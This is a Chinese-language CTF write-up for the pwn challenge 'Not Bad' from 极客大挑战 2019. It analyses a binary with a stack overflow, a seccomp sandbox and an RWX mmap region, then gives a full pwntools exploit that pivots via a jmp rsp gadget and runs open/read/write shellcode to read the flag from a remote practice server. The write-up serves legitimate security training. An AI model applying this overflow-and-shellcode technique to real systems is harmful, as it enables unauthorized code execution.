[极客大挑战 2019]Not Bad

[极客大挑战 2019]Not Bad

先看一下文件吧:

1

没啥保护,也有可读可写可执行的段落,猜测是栈段:

2

有用的就这两个函数,mmap这一段也是可写可执行的:

3

看来是可以栈溢出的,但是给的空间不是很多,这是一个问题,给的空间不够我们执行别的函数,那shellcode肯定是写到mmap的空间中,但是如何跳转是一个问题,我们也无法泄露栈上的地址:

4

5

而且这道题还开了沙箱,看下面这几个函数就可以知道了:

6

估计是只能使用orw了,我们去看看:

7

果然没错,那题目的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux', 'splitw', '-h']

#sh = process("./bad")
sh = remote("node5.buuoj.cn",28974)
mmap_addr = 0x123000
jmp_rsp_addr = 0x400A01


payload = shellcraft.open("./flag")
payload += shellcraft.read(3,mmap_addr+0x50, 0x50)
payload += shellcraft.write(1, mmap_addr+0x50, 0x50)

print("du qu da xiao------------------->",hex(len(asm(payload))))

payload_1 = asm(shellcraft.read(0, mmap_addr, 0x50)) + asm('mov rax,0x123000;call rax')
payload_1 = payload_1.ljust(0x28, b'\x00')
payload_1 += p64(jmp_rsp_addr)
payload_1 += asm('sub rsp,0x30;jmp rsp')

print("payload_1------->",hex(len(payload_1)))

sh.recvuntil("Easy shellcode, have fun!\n")
sh.sendline(payload_1)


sh.send(asm(payload))


sh.interactive()

payload_1的任务就是向mmap段写入shellcode,并将rip更改到0x123000进行执行,最核心的问题是函数retn的时候,此时执行retn命令,将jmp_rsp命令的地址压入rip寄存器中,使rip寄存器指向该命令位置,此时retn函数执行完毕,rsp下移0x8字节,然后函数执行,rip又指向了rsp指向的位置,然后继续执行,rsp-0x30,然后将rip又指向rsp,此时rsp指向的就是以下命令的位置。

1
payload_1 = asm(shellcraft.read(0, mmap_addr, 0x50)) + asm('mov rax,0x123000;call rax')